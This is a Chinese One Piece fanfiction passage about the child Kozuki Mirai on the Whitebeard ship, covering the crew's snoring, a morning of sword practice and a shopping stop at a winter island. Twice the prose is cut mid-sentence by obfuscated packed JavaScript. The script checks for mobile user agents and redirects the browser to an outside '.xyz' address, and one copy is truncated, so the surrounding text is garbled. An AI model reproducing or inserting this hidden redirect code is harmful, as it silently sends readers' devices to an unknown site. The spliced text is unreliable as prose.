以藏看了看那条横插过来的腿，抱着被子换了个方向打地铺。 “未来大人，晚安。”躺得差不多了，武士轻声道，拉灭了星星灯。 “晚安。”光月未来闭上眼睛。 一会，大家即将进入梦乡—— “呐，未来大人！未来大人！” 猫蝮蛇扯着被子，往光月未来那里挤了挤，小小声：“如果恶魔布拉姆真的上船了怎么办？” “猫蝮蛇！” “安静点yoi。” “喵呜！” 猫咪被以藏和马尔科不耐烦的吼声吓得差点炸毛。 “不怕。”光月未来拍了拍他们作为安抚：“我保护你们。” 空气里安静了一会。 猫蝮蛇小心扯过被角帮光月未来盖上，两只大眼睛里浮现出只有落日时的大海才会泛起的涟漪，它们欢快弯成月牙。 “你真好，未来大人。” “我也会保护你的，喵喵~” “睡吧yoi。” 马尔科手长脚长，努力搂住床上的三只，他从被子上面横抱过去，刚好越过最中间的光月未来，够到最左边的犬岚。 “现在屋子里最厉害的人会负责赶跑恶魔的。” 这应该是个不错的夜晚。 有毛绒绒和烟花小鸟，外面狂风暴雪，船在海浪中起伏，而大家伙挤在一块，就像最古老的人类面对大自然的愤怒时那样，在山洞里共筑出温暖安全的巢穴来躲藏。 原本应该是这样的。 原本应该暖和到连被子也可以少盖的。 半夜，以藏感觉到他的被窝动了动，有什么软软小小的东西，正悉悉索索掀开被角企图爬进来。 武士面对危险时的天性让他绷紧神经，闭着眼睛握住了腰上的燧发枪。 直到一双手触碰到他的脖子。 “未来大人？” 以藏惊讶看着从床上爬下来钻进他的被褥，贴紧他取暖的光月未来。 他顿了顿，重新把枪放回枪袋里，双手绕过小主人的脖子帮她压紧被角。 “未来大人，你怎么会在这里？不应该睡在床上吗？” “以藏很安静。”光月未来说，“睡觉。” 安静？ 以藏这才注意到，育儿室里铺天盖地的呼噜声，像水房里开到最大的抽水机，马上要将屋顶都掀翻，还伴随着几句梦话。 而且全部都是从床那边传过来的。 真的好吵。 或许他的见闻色的确该加强一下了。 “能睡着吗？未来大人。” 光月未来的脑袋一点一点，每点一下，就被呼噜声震地猛地清醒一阵。听到以藏的问题，她摇了摇头。 “冻岛周围的鱼是最好吃的，上面还生产一种风味独特的蒸馏烈酒。当然，只在冻岛上有。” “哦，那明天说什么也要点一杯尝尝看了，希望不要太早卖完才好。” 今晚在眺望台上值夜的海贼捧着一碗浊酒，在持续砸落的冰雪中一边喝酒暖身子，一边谈论着明天船靠岸后的打算。 突然，有人注意到育儿室的门打开一条小缝，有漆黑的影子裹着长外套，拖着另外三只影子丢进了以藏的房间。 眺望台上的海贼瞟了一眼：“哦，以藏啊，他把什么东西扔进房间里了？” 另一个人回答：“马尔科，猫蝮蛇，还有犬岚。还在睡觉，一边睡觉一边打呼噜。” “被赶出来了啊，真是太悲哀了。” 突然，拿着酒碗的手一停，两个人互看一眼，彼此都能看到对方眼里的幸灾乐祸：“哦~被赶出来了啊~” 托以藏的福，光月未来今晚睡了一个饱觉。 没有呼噜声，也没有奇奇怪怪的梦话，有的只是早上七点多钟在以藏房间的毛毯上突然惊醒的三个人，在对陌生的环境行完陌生的注视礼后，连鞋都来不及穿就冲向育儿室。 “未来！我们昨天梦游了吗yoi？” 然而光月未来早在五点钟就已经背着刀鞘和识字书去和比斯塔汇合了。 “练习！” 从楼梯事件后也一直坚持五点起床的比斯塔：“不错，未来，要想变得强大就必须从娃娃开始抓起。” 早上八点，光月御田起床，陪光月未来练习走路，以及拦截刀势。 早上九到十点，纽盖特不定时起床，先教光月未来认一个小时的字，然后他会站在船尾练习果实能力，或者是用丛云切劈砍海浪，并告诉坐在背风处的光月未来：“等你以后熟悉了刀法，也可以像我这样砍。” 最后，被急匆匆赶过来的儿子们阻止，连哄带劝地拉回船头。 “老爹，再这样下去莫比迪克号就要散架了！就算您想在未来面前展示刀法也不可以这样。下次，我们给您找一个无人小岛舒活筋骨怎么样？” “那就这么说定了？” 纽盖特喝着酒不说话，剩下的人盯着他也不说话。 两方对峙一会—— “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639837|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了我知道了。” 所以，不是每一天都有机会看到用刀劈出来的大海浪，以及被震得摇摇晃晃的甲板。 就像蔫嗒嗒的不死鸟一样，也很少见。 甲板上最阴暗的角落里，昨天晚上值班的海贼勾肩搭背过来，原本想像往常那样损他两句看看，但是马尔科低垂下去的脑袋，落寞的背影，以及可怜兮兮已经长了蘑菇的脚边，竟然让这群名为“海贼”的物种们油然而生起一种叫做“怜悯”的心情。 怜悯谁？怜悯马尔科？得了吧！ “那个，马尔科。” “因为我睡觉打呼噜还说梦话。” “什么？” “所以未来讨厌我yoi……” “……” 乔兹摘下一朵蘑菇，转移话题：“这个可以吃吗？” “你可以问问萨奇。” “……那我们一起去吧。” “你不是要嘲笑他吗？” “什么话！你能不能说得好听一点！” “其实我现在良心有点痛。” “我记得你压根没有这种东西。” “现在有了！刚长的！” 一群海贼你推我我推你远离了马尔科，乔兹走了两步，折返回来：“快要到中午了，我可以帮你把未来接到餐厅。” 马尔科立刻扭过头谨慎地盯住他。 乔兹拍了拍他的肩膀，在他旁边坐下：“老实说，我根本不明白你到底在担心什么，这么多人里，只有你是由时夫人默认帮忙照顾未来的人选，未来也明显更喜欢你。” “我不认为她会因为你打呼噜就讨厌你，换个角度想想，或许只是因为你影响到她睡觉了呢？” “毕竟未来每天五点就需要起来练刀，谁都需要充足的睡眠。” 眼见马尔科周围阴恻恻的环境越来越光明，乔兹最后告诉他：“去问问怎么样，这么消沉，可不像我认识的那个马尔科。” “喵喵喵~你喜欢我们吗，未来大人？” 同样作为被扔出去的那一方，猫蝮蛇和犬岚就完全没有想过那么多，或者说，心很大。 他们围在刚刚结束训练，正安安静静坐在屋子里等人来接的光月未来身边，干脆了当地问她是否喜欢他们。 光月未来：“喜欢。” 猫蝮蛇和犬岚：“那未来大人为什么不想跟我们一起睡？” “你们打呼噜，我睡不着。” “那如果我们以后不打呼噜，未来大人会更喜欢我们一点吗？会想和我们一起睡吗？” 光月未来怀里搂着猫蝮蛇蓬松的大尾巴，摸着犬岚软乎乎的耳朵，肯定点头：“会。” 被抢先了啊……马尔科站在外面抓了抓头发，乔兹说得对，未免也太矫情了，他，一点也不符合高级海贼的果断美德。 啊，话说，马尔科从兜里摘下一只蘑菇，这个真的能吃吧？ 这时猫蝮蛇说：“已经到午饭的时间了，未来大人跟我们一起去吃饭吧。” “不？为什么不呢？” 光月未来理所当然道：“要等马尔科。” 因为之前都是马尔科过来接她去餐厅的，光月未来下意识认为这是一个需要遵守的约定，如果没有临时取消这个约定，就连爸爸接都不可以。 马尔科他真的感动极了：“未来！”他踹开了门：“我来接你去吃饭！” 咚！ 路过的怀迪贝重重给了他一下：“动作小点你这个莽撞的家伙！外面还下着雪呢！” 16.购物清单和算数 “注意！船还有半个小时就要达到冻岛港口了——马尔科，记得去财务室领你的活动经费！” “哦——！” 下午一点多钟，莫比迪克号在舵手的牵引下缓慢驶入浅海区，马尔科站在底层甲板上往上招了招手，示意自己听到了，一溜烟跑进育儿室。 “未来，你想好要买什么东西了吗？” 书桌前，光月未来正摊开马尔科给她的纸和笔，埋头填写购物清单。 据马尔科说，这座冻岛将会是他们经过圈带暖流之前能找到的最后一座有人居住的小岛了，船只将会在这里停留一周时间来进行补给，以及为记录指针储存满通往下一座岛的磁力。 如果粗心错过了这次购物机会，未来将会在很长一段时间——至少有一个多月没有办法买到需要的东西。 虽然马尔科说的话里出现了很多她不理解的单词，比如说：“圈带暖流”，“记录指针”，和“磁力”。 光月未来把这些单词一笔一划誊抄下来，准备明天去找纽盖特解答。 她把写好的购物清单展示在马尔科面前。 “如果有不会写的单词你可以直接画下来yoi——嗯？我看看，已经写好了啊。” 那张纸上写着：刀，年糕，黄豆粉，蜂蜜，玄米茶，苹果。其中“刀”用笔划掉了。 “嗯……” 年糕和黄豆粉他倒是听说过，都是和之国的食物，苹果如果做成糊糊，未来也可以吃一些，但是玄米茶—— “什么是玄米茶？未来现在可以喝茶吗？” “给我看看。”光月御田接过那张纸，“哦，这种东西啊，是产自和之国最普通的一种茶，由番茶加入炒米做成，和大名们会喝的煎茶不一样。因为我当初在九里历练的时候曾经帮忙耕种过，之后受款待喝过这种茶。” “怎么说呢，很苦，我果然还是不适合喝茶。” “冻岛上估计没有这种茶。不过未来如果想要的话，就给她带一些别的茶叶回来吧。对了对了，零花钱。” 光月御田去掏他的口袋，马尔科阻止他：“不用了yoi，刚刚管钱的哈兰老爷子有交给我未来的那一份经费，是普通人的三倍呢~” “哦，那真是麻烦你了。” “未来！我会把东西全部都带回来的，还有约定好的烟花！” 马尔科背着他的斜挎包，以及一整只大麻袋，在窗户外面冲着光月未来挥挥手，然后跳下船落到港口上，朝着镇子走去。 周围同样过来购买补给的其他海贼船上的海贼们们纷纷避让开。 “喂，看那儿，是白胡子海贼团。” “还是离远一点吧，万一不小心惹到了谁，白胡子生起气来可不是好玩的。” “但是‘未来’是谁？白胡子海贼团新加入的船员吗？” “现在先不要乱打听，要是真的，之后应该会有悬赏令传出来。” 海贼们一致决定，及时普查白胡子海贼团新晋人口的事还是交给那群海军比较划算，至于他们—— 白胡子海贼团的海贼们离开港口后，被从中间割裂的人流又重新活泛起来，空气里充斥着热热闹闹的吆喝打骂声。 “等着，未来，爸爸去给你找新的木刀。” 光月御田换掉了他最常穿的那身衣服，解下天羽羽斩和阎魔，用木头面具挡住脸，鬼鬼祟祟从后甲板下船。 “你在干什么？御田。” 纽盖特注意到了，纽盖特走过去，纽盖特问他。 好吧，爱德华·纽盖特如今正值壮年，所以对船上发生的一些怪事，而且还是他的兄弟光月御田干出来的，理所当然还保持着海贼应该有的那点儿好奇心。 所以他会问出这句话一点都不让人意外。 “嘘。”光月御田示意他小点声，“我去黑市逛一圈，顺便再捉几个悬赏金高的家伙送去海军那里换钱。” “你很缺钱吗？” “因为要给女儿买礼物嘛哈哈哈。” 海贼们的冻岛狂欢将持续三到六天，在这期间很少有人会准时回来吃饭，于是厨师们也放了假，扛着竹筐满蔬果海产市场溜达。 对于海贼们来说，这是航海过程中为数不多的消遣活动，而对于冻岛上的居民们来说，这只是一次日常，意味着大量贝利和同等程度的危险共同收入囊中的日常。 马尔科和其他的海贼们一走，船上立刻空了大半，光月未来不想一个人呆着，或许她可以趁此机会出去踩踩雪，或者继续去练习刀法，就像纽盖特往大海里劈那样。 不需要光月御田帮忙拦截。 光月未来戴好毛绒帽子和手套，带着板凳和乔兹送给她的蘑菇——据说是从马尔科身上长出来的，真是神奇的蘑菇和神奇的马尔科，推开房门。 外面的冰雪已经停止了，海风也足够温和，这是提前考察过的。海贼们打扫得干干净净的甲板也乐意支持腿脚不够灵活的孩子出行。 她左右看了看，没看到雪，倒是看到了一个花白头发，满脸沟壑的短小老人家。 “啊，是你。”船上负责管理财务的哈兰，被海贼们亲切地称呼为老爷子，手里托着厚厚一叠账本，慢腾腾转过身看她。 “最近一直忙着整理这艘船上抢来的财宝，很长时间不见了，你已经可以自己出来了吗？” 光月未来点点头。 哈兰又问她：“去哪？” “妈妈。” 她要去找光月时，但是从育儿室到光月夫妇的房间，需要经过相当一段不背风的甲板，平时一直是马尔科，或者猫蝮蛇他们把她裹进披风里抱过去的。 今天她要自己尝试一下。 “巧的很，我正好要去你的母亲那里寻求一点小帮助。” 光月未来扯了扯帽子上的两根粗绳，好让长绒毛把自己的脑袋包裹得更严实一些。 “做的不错，孩子。”哈兰用他好像永远板着的语气赞许她，“这座岛屿附近的海风可不温柔。可惜我已经是一个一条腿迈进棺材里的老人了，身体也不好，恐怕没法子像那群混小子一样抱你。” 哈兰从腰上抽出一根伸缩拐杖，甩开在地上点了点。 “瞧啊，”他笑，“我有时候需要依靠这个走路，拐杖，就跟你的凳子一样。” “所以这段路只好靠你自己走过去了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645495|171606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 光月未来搬着椅子超过他，在两人距离一步远的位置停下，回头。 哈兰会意：“你要给我带路？好孩子。” 一老一少就这样穿过甲板走到光月夫妇的房间门口，在路过有风处的时候，光月未来轻轻碰了碰哈兰的拐杖，示意他走快点。 “别催，别催，你快走就好，我不怕这个。” 房间外响起喀喀喀和哒哒哒的声音，这是船上特殊的两个人独有的声音。 “哈兰先生，未来？”光月时打开房门，把团成一团的女儿搂进怀里，“今天爸爸和马尔科哥哥他们都不在，妈妈正打算去找你，晚上就跟妈妈一起睡吧。” “打扰了，时夫人。这艘船上也只有你能帮我分担一点算账的工作了。”把手里的账本放到木桌上，哈兰的视线投射到光月未来那边，想到自己即将退休的事，他若有所思。 “听说这孩子学习单词的速度相当快，不知道算数怎么样？” “还没有学过，哈兰先生要教教她吗？”这本来只是一句询问的话，带着一些轻快玩笑的成分在，没想到哈兰听完后竟然开始认真思考起来。 “可以。” 光月时惊讶：“哈兰先生？” “明天下午五点，我过来教你算数。不要误会，我只是认为，小孩子多学一点知识总没有坏处，你未来不一定会担任账房工作，但一定要会。” 他自言自语：“当然，我还是更想要从海贼里找一个算数不错的家伙来接手船上这份工作，选谁合适呢？” 一直到下午，哈兰都没想好他的衣钵到底应该由谁来继承。 这艘船上的海贼们，要么花钱大手大脚毫无节制，要么厌倦账房工作一点都不愿意坐下，要么干脆根本不会算数。 渴望退休的老人家甚至产生了直接把光月夫妇留下来的想法，当然，对于背负着另一层身份的人来说，他也只能想想而已。 晚上六点，马尔科带着大包小包回来，翻上甲板干的第一件事，就是大声呼喊光月未来的名字。 “未来！快来，我从贝利战场上胜利回来了！” 听到声音的哈兰探头出去看了一眼，之后摇摇头，评价。 “我说是谁这么吵，原来是马尔科啊，那群小子里难得喜欢读书和医学的孩子，就是性格太跳脱了点。” “哈兰老爷子。”隔壁的船医也探出头，把笔敲得啪啪响，警惕道，“这孩子是我一早就看好的，未来是要接任船医职位的。那身青炎，没有人比他更适合这份工作。” “看在住在隔壁的份上，你可不能跟我抢。” 哈兰掀起眼皮：“怎么？你也要退休？” 船医耸耸肩：“当然不，但未来的事，谁说得准呢。” 听到马尔科的声音，光月未来马上从房间里跑出来，在即将摔倒的时候被马尔科接住。 “慢点yoi，你都还没有完全学会走路呢。” 光月未来趴在马尔科肩头去扒他背在背上的购物袋：“年糕？” “不是年糕，是糯米和黄豆。”马尔科把给光月未来买的东西一包一包拿出来，很快就堆成了小山那么高的一堆。